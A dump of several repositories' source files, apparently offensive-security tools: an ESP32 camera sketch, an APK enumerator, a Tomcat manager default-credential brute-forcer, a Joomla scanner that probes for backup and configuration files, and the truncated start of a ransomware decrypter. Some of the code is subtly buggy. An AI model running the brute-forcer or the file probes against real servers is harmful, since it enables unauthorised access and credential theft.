#define PWDN_GPIO_NUM 32
#define RESET_GPIO_NUM -1
#define XCLK_GPIO_NUM 0
#define SIOD_GPIO_NUM 26
#define SIOC_GPIO_NUM 27
#define Y9_GPIO_NUM 35
#define Y8_GPIO_NUM 34
#define Y7_GPIO_NUM 39
#define Y6_GPIO_NUM 36
#define Y5_GPIO_NUM 21
#define Y4_GPIO_NUM 19
#define Y3_GPIO_NUM 18
#define Y2_GPIO_NUM 5
#define VSYNC_GPIO_NUM 25
#define HREF_GPIO_NUM 23
#define PCLK_GPIO_NUM 22
OV5640 ov5640 = OV5640();
void setup() {
Serial.begin(115200);
camera_config_t config;
config.ledc_channel = LEDC_CHANNEL_0;
config.ledc_timer = LEDC_TIMER_0;
config.pin_d0 = Y2_GPIO_NUM;
config.pin_d1 = Y3_GPIO_NUM;
config.pin_d2 = Y4_GPIO_NUM;
config.pin_d3 = Y5_GPIO_NUM;
config.pin_d4 = Y6_GPIO_NUM;
config.pin_d5 = Y7_GPIO_NUM;
config.pin_d6 = Y8_GPIO_NUM;
config.pin_d7 = Y9_GPIO_NUM;
config.pin_xclk = XCLK_GPIO_NUM;
config.pin_pclk = PCLK_GPIO_NUM;
config.pin_vsync = VSYNC_GPIO_NUM;
config.pin_href = HREF_GPIO_NUM;
config.pin_sscb_sda = SIOD_GPIO_NUM;
config.pin_sscb_scl = SIOC_GPIO_NUM;
config.pin_pwdn = PWDN_GPIO_NUM;
config.pin_reset = RESET_GPIO_NUM;
config.xclk_freq_hz = 20000000;
config.pixel_format = PIXFORMAT_JPEG;
config.frame_size = FRAMESIZE_VGA;
config.jpeg_quality = 10;
config.fb_count = 2;
esp_err_t err = esp_camera_init(&config);
if (err != ESP_OK) {
Serial.printf("Camera init failed with error 0x%x", err);
return;
}
sensor_t* sensor = esp_camera_sensor_get();
ov5640.start(sensor);
if (ov5640.focusInit() == 0) {
Serial.println("OV5640_Focus_Init Successful!");
}
if (ov5640.autoFocusMode() == 0) {
Serial.println("OV5640_Auto_Focus Successful!");
}
}
void loop() {
uint8_t rc = ov5640.getFWStatus();
Serial.printf("FW_STATUS = 0x%x\n", rc);
if (rc == -1) {
Serial.println("Check your OV5640");
} else if (rc == FW_STATUS_S_FOCUSED) {
Serial.println("Focused!");
} else if (rc == FW_STATUS_S_FOCUSING) {
Serial.println("Focusing!");
} else {
}
camera_fb_t* fb = esp_camera_fb_get();
if (!fb) {
Serial.println("Camera capture failed");
esp_camera_fb_return(fb);
return;
}
if (fb->format != PIXFORMAT_JPEG) {
Serial.println("Non-JPEG data not implemented");
esp_camera_fb_return(fb);
return;
}
// Draw Image on the display or Send Image to the connected device!
// With (fb->buf, fb->len);
esp_camera_fb_return(fb);
}
|
000pp/Apepe
| 1,984 |
README.md
|
# ๐ฒ Apepe
> ๐ฒ Enumerate information from an app based on the APK file
<div align="center">
<img src="https://i.imgur.com/0qh6sHq.jpg" width="850">
</div>
<br>
<p align="center">
<img src="https://img.shields.io/github/license/oppsec/Apepe?color=orange&logo=github&logoColor=orange&style=for-the-badge">
<img src="https://img.shields.io/github/issues/oppsec/Apepe?color=orange&logo=github&logoColor=orange&style=for-the-badge">
<img src="https://img.shields.io/github/stars/oppsec/Apepe?color=orange&label=STARS&logo=github&logoColor=orange&style=for-the-badge">
<img src="https://img.shields.io/github/forks/oppsec/Apepe?color=orange&logo=github&logoColor=orange&style=for-the-badge">
</p>
___
### ๐ต๏ธ What is Apepe?
๐ต๏ธ **Apepe** is a project developed to help to capture informations from a Android app through his APK file. It can be used to extract the content, get app settings, suggest SSL Pinning bypass based on the app detected language, extract deeplinks from AndroidManifest.xml, JSONs and DEX files.
<br>
### โก Getting started
A quick guide of how to install and use Apepe.
1. `git clone https://github.com/oppsec/Apepe.git`
2. `pip install -r requirements.txt --break-system-packages`
3. `python3 main -h`
<br>
### โจ Features
- List the activies, permissions, services, and libraries used by the app
- Identify the app development language based on classes name
- Suggest SSL Pinnings bypass with the `-l` flag
- Find deeplinks in DEX, JSONs files and AndroidManifest.xml with the `-d` flag
<br>
### ๐ผ๏ธ Preview
<img src="https://i.imgur.com/myZOPz7.png" width=800>
<br>
### ๐จ Contributing
A quick guide of how to contribute with the project.
1. Create a fork from Apepe repository
2. Download the project with `git clone https://github.com/your/Apepe.git`
3. `cd Apepe/`
4. Make your changes
5. Commit and make a git push
6. Open a pull request
<br>
### โ ๏ธ Warning
- The developer is not responsible for any malicious use of this tool.
|
000pp/Apepe
| 5,812 |
src/apepe/main.py
|
from rich.console import Console
console = Console()
from os import path, chdir
from pathlib import Path
from zipfile import ZipFile, BadZipFile
from shutil import rmtree
from androguard.core.apk import APK
from androguard.core.dex import DEX
from src.apepe.modules.suggest import suggest_sslpinning
from src.apepe.modules.deeplink import scraper
from src.apepe.modules.exported import exported
from loguru import logger
logger.remove(0)
def perform_checks(apk_file, list_scripts, deeplink) -> None:
"""
This function is responsible to check if the APK file exists and
if the extension is .apk
"""
global args_list_scripts
args_list_scripts = list_scripts
global args_deeplink
args_deeplink = deeplink
file_name: str = apk_file
check_if_file: bool = path.isfile(file_name)
check_if_file_exists: bool = path.exists(file_name)
check_extension: bool = file_name.endswith(".apk")
if not(check_if_file or check_if_file_exists):
console.print("[red][!][/] You have specified an invalid or non existent file or directory")
return True
if not(check_extension):
console.print("[red][!][/] File extension is not [b].apk[/], please check your file or input")
return True
console.print(f"[yellow][!][/] APK: [yellow]{file_name}[/]", highlight=False)
extract_apk(file_name)
def extract_apk(file_name) -> None:
"""
This function will create a folder with the same name as of APK file and
extract the content from the apk file to that folder
"""
normal_dir_name: str = f"{file_name.rstrip('.apk')}_extracted"
current_dir = Path.cwd()
target_dir = current_dir.joinpath(normal_dir_name)
try:
console.print(f"[yellow][!][/] Extraction folder: [yellow]{target_dir}[/]", highlight=False)
if target_dir.exists():
rmtree(target_dir)
target_dir.mkdir(parents=True, exist_ok=True)
with ZipFile(file_name, mode="r") as archive:
archive.extractall(path=normal_dir_name)
apk_info_extraction(file_name, normal_dir_name)
except FileNotFoundError:
console.print(f"[red][!][/] APK file '{file_name}' not found.")
except PermissionError:
console.print(f"[red][!][/] Permission denied while creating {target_dir}.")
except (OSError, BadZipFile) as error:
console.print(f"[red][!][/] Error processing APK: {error}")
def apk_info_extraction(file_name, normal_dir_name) -> None:
"""
Uses androguard's library functions to extract APK relevant information such as:
Package Name, App Name, Activies, Permissions...
"""
apk_file = APK(file_name)
console.print(f"\n[green][+][/] Package name: {apk_file.get_package()}")
console.print("\n[green][+][/] App signature(s):", highlight=False)
package_signature_V1 : bool = apk_file.is_signed_v1()
package_signature_V3 : bool = apk_file.is_signed_v2()
package_signature_V2 : bool = apk_file.is_signed_v3()
console.print(f" \\_ V1: {package_signature_V1}\n \\_ V2: {package_signature_V2}\n \\_ V3: {package_signature_V3}")
# Get app activities, services, providers and receivers
exported(apk_file)
# Get list of permissions used by the app
try:
app_permissions = apk_file.get_details_permissions()
if len(app_permissions) != 0:
console.print("\n[green][+][/] List of permissions:", highlight=False)
for permission in app_permissions:
console.print(f" \\_ {permission}")
else:
console.print("\n[red][!][/] No permission(s) found", highlight=False)
except Exception as error:
console.print(f"\n[red][!][/] Impossible to list permissions: {error}", highlight=False)
pass
# Get list of libraries used by the app
try:
app_libraries = apk_file.get_libraries()
if len(app_libraries) != 0:
console.print("\n[green][+][/] App libraries:", highlight=False)
for library in app_libraries:
console.print(f" \\_ {library}")
else:
console.print("\n[red][!][/] No libraries found", highlight=False)
except Exception as error:
console.print(f"\n[red][!][/] Impossible to list libraries: {error}", highlight=False)
pass
check_app_dev_lang(normal_dir_name, apk_file)
def check_app_dev_lang(normal_dir_name, apk_file) -> None:
"""
Try to detect the app development language through classes name
"""
chdir(normal_dir_name)
console.print(f"\n[yellow][!][/] Extracting APK classes", highlight=False)
try:
dvm = DEX(apk_file.get_dex())
classes = dvm.get_classes()
lang_patterns = {
'Lio/flutter/': 'Flutter',
'Lcom/facebook/react/': 'React Native',
'Landroidx/work/Worker': 'Java'
}
detected_lang = None
for apk_class in classes:
class_name = apk_class.get_name()
for pattern, lang in lang_patterns.items():
if pattern in class_name:
detected_lang = lang
break
if detected_lang:
break
if detected_lang:
console.print(f"[green][+][/] Development language detected: [b]{detected_lang}[/b]")
if args_list_scripts:
console.print(suggest_sslpinning(detected_lang))
else:
console.print("[red][!][/] Impossible to detect the app language")
except Exception as error:
console.print(f"[red][!][/] Error in [b]check_app_dev_lang[/b] function: {error}")
return
if args_deeplink:
scraper(normal_dir_name, apk_file)
console.print("\n[yellow][!][/] Finished!")
|
000pp/Apepe
| 4,821 |
src/apepe/modules/deeplink.py
|
import json
import re
from rich.console import Console
console = Console()
from pathlib import Path
from androguard.core.dex import DEX
from androguard.core.apk import APK
from lxml.etree import tostring
DEEPLINK_PATTERN = r'\b\w+://[^\s]+'
def dex_handler(file_path: Path) -> list:
"""
Extract readable strings from a .dex file and filter for deeplinks,
excluding those that start with 'http://', 'https://' or 'parse'
"""
results = []
try:
with file_path.open('rb') as dex_file:
content = DEX(dex_file.read())
strings = content.get_strings()
results = [
s for s in strings
if isinstance(s, str)
and re.search(DEEPLINK_PATTERN, s)
and not ('http://' in s or 'https://' in s or 'parse' in s)
]
except Exception as error:
console.print(f"[red][!][/] Failed to read DEX file [yellow]{file_path}[/]: {error}")
return []
if len(results) == 0:
return f"[red][!][/] No deeplinks found in [yellow]{file_path}[/]\n"
else:
return "\n".join(results) + "\n"
def json_handler(file_path: Path) -> list:
"""
Extract readable strings from a .json file and filter for deeplinks,
excluding those that start with 'http://' or 'https://'.
"""
results = []
try:
with file_path.open('r', encoding='utf-8') as json_file:
content = json.load(json_file)
stack = [content]
while stack:
obj = stack.pop()
if isinstance(obj, dict):
stack.extend(obj.values())
elif isinstance(obj, list):
stack.extend(obj)
elif isinstance(obj, str):
if re.search(DEEPLINK_PATTERN, obj) and not ('http://' in obj or 'https://' in obj or 'parse' in obj):
results.append(obj)
except Exception as error:
console.print(f"[red][!][/] Failed to read JSON file [yellow]{file_path}[/]: {error}")
return []
if len(results) == 0:
return f"[red][!][/] No deeplinks found in [yellow]{file_path}[/]\n"
else:
return "\n".join(results) + "\n"
def android_manifest_handler(apk_file: str) -> None:
"""
Extract readable intent-filter (scheme, host and path) from AndroidManifest.xml
"""
console.print("[green][+][/] AndroidManifest.xml:")
results = []
seen = set()
try:
manifest = APK.get_android_manifest_xml(apk_file)
manifest_content: str = tostring(manifest, pretty_print=True, encoding="unicode")
if len(manifest_content) == 0:
console.print(f"[red][!][/] AndroidManifest.xml content is 0 - [yellow]{apk_file}[/]")
else:
for intent_filter in manifest.findall(".//intent-filter"):
data_tag = intent_filter.find("data")
if data_tag is not None:
scheme = data_tag.get("{http://schemas.android.com/apk/res/android}scheme", "")
host = data_tag.get("{http://schemas.android.com/apk/res/android}host", "")
path = data_tag.get("{http://schemas.android.com/apk/res/android}path", "")
formatted_url = f"{scheme}://{host}{path}" if scheme and host and path else f"{scheme}://{host}"
if formatted_url not in seen:
results.append(formatted_url)
if len(results) == 0:
return f"[red][!][/] No results for [yellow]{apk_file}[/]\n"
else:
return "\n".join(results) + "\n"
except Exception as error:
console.print(f"[red][!][/] Failed to read AndroidManifest.xml file [yellow]{apk_file}[/]: {error}")
return []
def scraper(extraction_path: str, apk_file: str) -> None:
"""
This module aims to get all the readable strings from the extracted files (JSON and DEX)
and search for possible deeplinks.
extraction_path: Path to the extracted content directory
"""
path = Path(extraction_path)
console.print(f"\n[yellow][!][/] Searching for [yellow]deeplinks[/] [yellow]({path}[/])")
console.print(android_manifest_handler(apk_file), highlight=False)
extensions = ['.dex', '.json']
for extension in extensions:
file_paths = path.glob(f'**/*{extension}')
for file_path in file_paths:
file_path_str = str(file_path)
console.print(f"[yellow][!][/] Checking file: [yellow]{file_path_str}[/]")
if(extension == '.dex'):
console.print(dex_handler(file_path), highlight=False)
if(extension == '.json'):
console.print(json_handler(file_path), highlight=False)
|
000pp/Apepe
| 1,131 |
src/apepe/modules/exported.py
|
from rich.console import Console
console = Console()
def exported(target) -> None:
"""
Lists activities, services, receivers, and providers from AndroidManifest.xml file.
"""
manifest = target.get_android_manifest_xml()
endpoints = ["activity", "service", "receiver", "provider"]
for endpoint in endpoints:
console.print(f"\n[green][+][/] {endpoint.capitalize()}:", highlight=False)
if(endpoint == "activity"):
console.print(f" [green]\\_[/] Main Activity: [yellow]{target.get_main_activity()}[/]")
for element in manifest.findall(f".//{endpoint}"):
name = element.get("{http://schemas.android.com/apk/res/android}name")
exported = element.get("{http://schemas.android.com/apk/res/android}exported")
if exported is None:
has_intent_filter = element.find('.//intent-filter') is not None
exported = 'True' if has_intent_filter else 'False'
color = "green" if exported.lower() == 'true' else 'red'
console.print(f' \\_ [yellow]{name}[/] | Exported: [{color}]{exported}[/]')
|
000pp/tomcter
| 2,320 |
README.md
|
# ๐น Tomcter
> Stealing credentials from a yellow cat
<div align="center">
<img src="https://i.imgur.com/ePw5RQ5.png">
</div>
<br>
<p align="center">
<img src="https://img.shields.io/github/license/oppsec/tomcter?color=yellow&logo=github&logoColor=yellow&style=for-the-badge">
<img src="https://img.shields.io/github/issues/oppsec/tomcter?color=yellow&logo=github&logoColor=yellow&style=for-the-badge">
<img src="https://img.shields.io/github/stars/oppsec/tomcter?color=yellow&label=STARS&logo=github&logoColor=yellow&style=for-the-badge">
<img src="https://img.shields.io/github/forks/oppsec/tomcter?color=yellow&logo=github&logoColor=yellow&style=for-the-badge">
<img src="https://img.shields.io/github/languages/code-size/oppsec/tomcter?color=yellow&logo=github&logoColor=yellow&style=for-the-badge">
</p>
___
<br>
<p> ๐น <b>Tomcter</b> is a python tool developed to bruteforce Apache Tomcat manager login with default credentials. </p>
<br>
## โก Installing / Getting started
A quick guide of how to install and use Tomcter.
1. Clone the repository with `git clone https://github.com/oppsec/tomcter.git`
2. Install required libraries with `pip install -r requirements.txt`
### Single Target
`python3 main.py -u http://host`
<br>
### Multiple Targets
`python3 main.py -l file.txt`
<br>
### ๐ณ Docker
If you want to use Tomcter in a Docker container, follow this commands:
1. Clone the repository with `git clone https://github.com/oppsec/tomcter.git`
2. Build the image with `sudo docker build -t tomcter:latest .`
3. Run the container with `sudo docker run tomcter:latest`
<br><br>
### โ๏ธ Pre-requisites
- [Python 3](https://www.python.org/downloads/) installed on your machine.
- Install the libraries with `pip3 install -r requirements.txt`
<br><br>
### โจ Features
- Works with ProxyChains
- Fast Brute-Force
- Low RAM and CPU usage
- Open-Source
- Python โค๏ธ
<br><br>
### ๐จ Contributing
A quick guide of how to contribute with the project.
1. Create a fork from Tomcter repository
2. Clone the repository with `git clone https://github.com/your/tomcter.git`
3. Type `cd tomcter/`
4. Create a branch and make your changes
5. Commit and make a git push
6. Open a pull request
<br><br>
### โ ๏ธ Warning
- The developer is not responsible for any malicious use of this tool.
|
000pp/tomcter
| 1,031 |
src/core/manager.py
|
from random import choice
def get_file_data(path) -> str:
" Return the content inside text file "
with open(path) as file:
return file.read()
def get_usernames() -> list:
" Get all usernames inside usernames.txt file "
raw = get_file_data('src/core/data/usernames.txt')
raw = raw.split('\n')
return raw
def get_passwords() -> list:
" Get all passwords inside passwords.txt file "
raw = get_file_data('src/core/data/passwords.txt')
raw = raw.split('\n')
return raw
def user_agent() -> str:
""" Return a random user-agent from user-agents.txt file """
user_agents_file: str = "src/core/data/user-agents.txt"
with open(user_agents_file, 'r+') as user_agents:
user_agent = user_agents.readlines()
user_agent = choice(user_agent)
user_agent = user_agent.strip()
return str(user_agent)
headers = {'User-Agent': user_agent()}
props = {
"verify": False,
"timeout": 25,
"allow_redirects": True,
"headers": headers
}
|
000pp/tomcter
| 2,234 |
src/core/bruteforce.py
|
from requests import get
from base64 import b64encode
from time import sleep
from rich.console import Console
console = Console()
from urllib3 import disable_warnings
disable_warnings()
from src.core.manager import props, get_usernames, get_passwords
def check_and_connect(target):
url: str = f"{target}/manager/html"
try:
response = get(url, **props)
body: str = response.text
status_code: str = response.status_code
if (status_code == 401 or status_code == 403 or status_code == 200):
if ('Tomcat' in body or 'tomcat' in body):
bruteforce(url)
else:
console.print(f"[red][-] Connection problems with {target} | {status_code} [/]")
except Exception as e:
raise e
except ConnectionRefusedError:
pass
def connect(args) -> str:
""" Check if target is alive and try to connect with Apache Tomcat login page """
target = args.u
target_list = args.l
if target:
check_and_connect(target)
elif target_list:
with open(target_list, "r+") as file:
content = file.readlines()
for target in content:
if target:
check_and_connect(target.rstrip())
def bruteforce(url) -> str:
""" Bruteforce Apache Tomcat login with default credentials """
console.print(f"[green][+][/] Starting bruteforce on [bold white]{url}", highlight=False)
console.print(f"[green][+][/] {len(get_usernames())} usernames loaded. {len(get_passwords())} passwords loaded\n", highlight=False)
for user, password in zip(get_usernames(), get_passwords()):
response = get(url, verify=False, auth=(user, password))
sleep(1)
status_code: str = response.status_code
console.print(f'[yellow][!][/] User: {user} - Password: {password} - {status_code}', highlight=False)
if (status_code == 200):
console.print(f"\n[green][+][/] Credentials found: {user} - {password} - {status_code}", highlight=False)
console.print(f"[green][+][/] Bruteforce in {url} is done", highlight=False)
return
console.print(f"\n[green][+][/] Bruteforce in {url} is done", highlight=False)
|
000pp/juumla
| 1,350 |
CHANGELOG.md
|
# ๐ 0.1.6 - 02/05/2024
- Added check to config and backup files scanner if result is not HTML response
- Changed print to console.print from rich
- Changed interface
- Improved the code
<br><br>
# ๐ 0.1.5 - 08/07/2023
- Improved the code
- Fixed error when trying to get Joomla version on get_version_second() func
- Improved backup and configuration file scanner module
- Fixed not initializing/closing rich markup correct on get_version_second() func
- Improved Exception treatment
- Added docker-compose.yml file to emulate an Joomla environment to test the tool
- Fixed get_user_agent() returning byte instead of string
- Improved random user-agent getter from get_user_agent() func
<br><br>
# ๐ 0.1.4 - 02/06/2022
- Improved the code
- Removed useless checks
- Changed Juumla banner
- Changed status messages
<br><br>
# ๐ 0.1.3b - 12/01/2022
- Updated libraries version
- Improved the code a bit
<br><br>
# ๐ 0.1.2a - 27/09/2021
- Made functions description more readable
- Added more whitespaces on the code
- Changed some messages to something like: "Oh I got that"
- Added more tags to requests headers
<br><br>
# ๐ 0.1.2 - 08/09/2021
- Removed automatic screen clear
- Changed ascii banner
- Added backup files to files searcher module
- Fixed version bug in vulnerability scanner (thanks @d4op)
- Updated banner image from README
|
000pp/juumla
| 2,752 |
README.md
|
# ๐ฆ Juumla
<div align="center">
<img src="https://i.imgur.com/0RvLKOP.png" width="900">
</div>
<br>
<p align="center">
<img src="https://img.shields.io/github/license/oppsec/juumla?color=yellow&logo=github&style=for-the-badge">
<img src="https://img.shields.io/github/issues/oppsec/juumla?color=yellow&logo=github&style=for-the-badge">
<img src="https://img.shields.io/github/stars/oppsec/juumla?color=yellow&label=STARS&logo=github&style=for-the-badge">
<img src="https://img.shields.io/github/v/release/oppsec/juumla?color=yellow&logo=github&style=for-the-badge">
<img src="https://img.shields.io/github/languages/code-size/oppsec/juumla?color=yellow&logo=github&style=for-the-badge">
</p>
___
<br>
<p> ๐ฆ <b>Juumla</b> Juumla is a python tool created to identify Joomla version, scan for vulnerabilities and sensitive files. </p>
<br>
## โก Installing / Getting started
<p> A quick guide on how to install and use Juumla. </p>
```
1. Clone the repository - git clone https://github.com/oppsec/juumla.git
2. Install the libraries - pip3 install -r requirements.txt
3. Run Juumla - python3 main.py -u https://example.com
```
<br>
### ๐ณ Docker
If you want to run Juumla in a Docker container, follow these commands:
```
1. Clone the repository - git clone https://github.com/oppsec/juumla.git
2. Build the image - sudo docker build -t juumla:latest .
3. Run container - sudo docker run juumla:latest
```
If you want to create an Joomla environment in a Docker container, follow these commands:
```
1. Clone the repository - git clone https://github.com/oppsec/juumla.git (or download the docker-compose.yml file)
2. Install docker-compose (e.g: sudo apt install docker-compose)
3. sudo docker-compose up
4. Access http://localhost:8080/
The default root password is: example
The default database name is: joomladb
The default DBMS is: MySQL 5.6
```
<br><br>
### โ๏ธ Pre-requisites
- [Python 3](https://www.python.org/downloads/) installed on your machine.
- Install the libraries with `pip3 install -r requirements.txt`
<br><br>
### โจ Features
- Fast scan
- Low RAM and CPU usage
- Detect Joomla version
- Find config and backup files
- Scan for vulnerabilities based on the Joomla version
- Open-Source
<br><br>
### ๐ To-Do
- [ ] Update vulnerabilities database
- [x] Improve Joomla detection methods
- [x] Improve code optimization
<br><br>
### ๐จ Contributing
A quick guide on how to contribute to the project.
```
1. Create a fork from Juumla repository
2. Download the project with git clone https://github.com/your/juumla.git
3. Make your changes
4. Commit and makes a git push
5. Open a pull request
```
<br><br>
### โ ๏ธ Warning
- The developer is not responsible for any malicious use of this tool.
|
000pp/juumla
| 1,339 |
src/juumla/main.py
|
from requests import get, exceptions
from rich.console import Console
console = Console()
from urllib3 import disable_warnings
disable_warnings()
from src.juumla.settings import props
from src.juumla.modules.version import get_version
def perform_checks(args) -> None:
" Connect to the target and check if status code is positive "
global url
url = args.u
try:
response: str = get(url, **props)
status_code: int = response.status_code
body: str = response.text
if response.ok:
console.print(f"[green][+][/] Connected successfully to [yellow]{url}[/]", highlight=False)
detect_joomla(body)
else:
console.print(f"[red][-][/] Host returned status code: {status_code}", highlight=False)
return
except exceptions as error:
console.print(f"[red][-][/] Error when trying to connect to {url}: {error}", highlight=False)
return
def detect_joomla(body) -> None:
" Check if meta tag 'generator' contains Joomla! in body response "
console.print("[yellow][!][/] Checking if target is running Joomla...", highlight=False)
if '<meta name="generator" content="Joomla!' in body:
get_version(url)
else:
console.print("[red][-][/] Target is not running Joomla apparently")
return
|
000pp/juumla
| 2,160 |
src/juumla/modules/version.py
|
from requests import get, exceptions
from xmltodict import parse, expat
from rich.console import Console
console = Console()
from urllib3 import disable_warnings
disable_warnings()
from src.juumla.settings import props
from src.juumla.modules.vulns import vuln_manager
app_xml_header = "application/xml"
text_xml_header = "text/xml"
def get_version(url: str) -> None:
" Get Joomla version based on XML files response "
console.print("\n[yellow][!][/] Running Joomla version scanner! [cyan](1/3)[/]", highlight=False)
try:
xml_file = f"{url}/language/en-GB/en-GB.xml"
response: str = get(xml_file, **props)
headers: str = response.headers
if response.ok and app_xml_header or text_xml_header in headers:
data = parse(response.content)
version = data["metafile"]["version"]
console.print(f"[green][+][/] Joomla version is: {version}", highlight=False)
vuln_manager(url, version)
else:
console.print("[yellow][!][/] Couldn't get Joomla version, trying other way...", highlight=False)
get_version_second(url)
except Exception as error:
console.print(f"[red][-][/] Error when trying to get {url} Joomla version in first method: {error}", highlight=False)
return
def get_version_second(url) -> None:
""" Last try to get Joomla version """
manifest_file = f"{url}/administrator/manifests/files/joomla.xml"
try:
response = get(manifest_file, **props)
headers = response.headers
if response.ok and app_xml_header or text_xml_header in headers:
data = parse(response.content)
version = data["extension"]["version"]
console.print(f"[green][+][/] Joomla version is: {version}", highlight=False)
vuln_manager(url, version)
else:
console.print("[red][-][/] Couldn't get Joomla version, stopping...", highlight=False)
return
except Exception as error:
console.print(f"[red][-][/] Error when trying to get {url} Joomla version in second method: {error}", highlight=False)
return
|
000pp/juumla
| 4,744 |
src/juumla/modules/files.py
|
from requests import get, exceptions
from rich.console import Console
console = Console()
from src.juumla.settings import props
def file_scan(file_to_check: str, file_url: str) -> None:
try:
response = get(f"{file_url}/{file_to_check}", **props)
if response.ok and 'text/html' not in response.headers.get('Content-Type', '').lower():
console.print(f"[green][+][/] Sensitive file found: [yellow]{response.url}[/]", highlight=False)
elif response.ok:
console.print(f"[yellow][!][/] File is HTML, not a sensitive file: {response.url}", highlight=False)
except Exception as error:
console.print(f"[red][-][/] Error when trying to find sensitive files: {error}", highlight=False)
def files_manager(url) -> None:
" Search for sensitive readable backup or config files on target "
console.print("\n[yellow][!][/] Running backup and config files scanner! [cyan](3/3)[/]", highlight=False)
config_files = ['configuration.php~','configuration.php.new','configuration.php.new~','configuration.php.old','configuration.php.old~','configuration.bak','configuration.php.bak','configuration.php.bkp','configuration.txt','configuration.php.txt','configuration - Copy.php','configuration.php.swo','configuration.php_bak','configuration.orig','configuration.php.save','configuration.php.original','configuration.php.swp','configuration.save','.configuration.php.swp','configuration.php1','configuration.php2','configuration.php3','configuration.php4','configuration.php4','configuration.php6','configuration.php7','configuration.phtml','configuration.php-dist']
bkp_files = ['1.gz','1.rar','1.save','1.tar','1.tar.bz2','1.tar.gz','1.tgz','1.tmp','1.zip','2.back','2.backup','2.gz','2.rar','2.save','2.tar','2.tar.bz2','2.tar.gz','2.tgz','2.tmp','2.zip','backup.back','backup.backup','backup.bak','backup.bck','backup.bkp','backup.copy','backup.gz','backup.old','backup.orig','backup.rar','backup.sav','backup.save','backup.sql~','backup.sql.back','backup.sql.backup','backup.sql.bak','backup.sql.bck','backup.sql.bkp','backup.sql.copy','backup.sql.gz','backup.sql.old','backup.sql.orig','backup.sql.rar','backup.sql.sav','backup.sql.save','backup.sql.tar','backup.sql.tar.bz2','backup.sql.tar.gz','backup.sql.tgz','backup.sql.tmp','backup.sql.txt','backup.sql.zip','backup.tar','backup.tar.bz2','backup.tar.gz','backup.tgz','backup.txt','backup.zip','database.back','database.backup','database.bak','database.bck','database.bkp','database.copy','database.gz','database.old','database.orig','database.rar','database.sav','database.save','database.sql~','database.sql.back','database.sql.backup','database.sql.bak','database.sql.bck','database.sql.bkp','database.sql.copy','database.sql.gz','database.sql.old','database.sql.orig','database.sql.rar','database.sql.sav','database.sql.save','database.sql.tar','database.sql.tar.bz2','database.sql.tar.gz','database.sql.tgz','database.sql.tmp','database.sql.txt','database.sql.zip','database.tar','database.tar.bz2','database.tar.gz','database.tgz','database.tmp','database.txt','database.zip','joom.back','joom.backup','joom.bak','joom.bck','joom.bkp','joom.copy','joom.gz','joomla.back','Joomla.back','joomla.backup','Joomla.backup','joomla.bak','Joomla.bak','joomla.bck','Joomla.bck','joomla.bkp','Joomla.bkp','joomla.copy','Joomla.copy','joomla.gz','Joomla.gz','joomla.old','Joomla.old','joomla.orig','Joomla.orig','joomla.rar','Joomla.rar','joomla.sav','Joomla.sav','joomla.save','Joomla.save','joomla.tar','Joomla.tar','joomla.tar.bz2','Joomla.tar.bz2','joomla.tar.gz','Joomla.tar.gz','joomla.tgz','Joomla.tgz','joomla.zip','Joomla.zip','joom.old','joom.orig','joom.rar','joom.sav','joom.save','joom.tar','joom.tar.bz2','joom.tar.gz','joom.tgz','joom.zip','site.back','site.backup','site.bak','site.bck','site.bkp','site.copy','site.gz','site.old','site.orig','site.rar','site.sav','site.save','site.tar','site.tar.bz2','site.tar.gz','site.tgz','site.zip','sql.zip.back','sql.zip.backup','sql.zip.bak','sql.zip.bck','sql.zip.bkp','sql.zip.copy','sql.zip.gz','sql.zip.old','sql.zip.orig','sql.zip.save','sql.zip.tar','sql.zip.tar.bz2','sql.zip.tar.gz','sql.zip.tgz','upload.back','upload.backup','upload.bak','upload.bck','upload.bkp','upload.copy','upload.gz','upload.old','upload.orig','upload.rar','upload.sav','upload.save','upload.tar','upload.tar.bz2','upload.tar.gz','upload.tgz','upload.zip']
# Scan for configuration files
for config_file in config_files:
file_scan(config_file, url)
# Scan for generic backup files
for bkp_file in bkp_files:
file_scan(bkp_file, url)
console.print("[yellow][!][/] Backup and config files scanner finished! [cyan](3/3)[/]", highlight=False)
|
000JustMe/PewCrypt
| 4,434 |
Decrypter/src/main/Decrypter.java
|
package main;
import java.util.Base64;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.KeyFactory;
import java.security.NoSuchAlgorithmException;
import java.security.PrivateKey;
import java.security.spec.InvalidKeySpecException;
import java.security.spec.PKCS8EncodedKeySpec;
public class Decrypter {
private String DEFAULT_RSA_KEY = 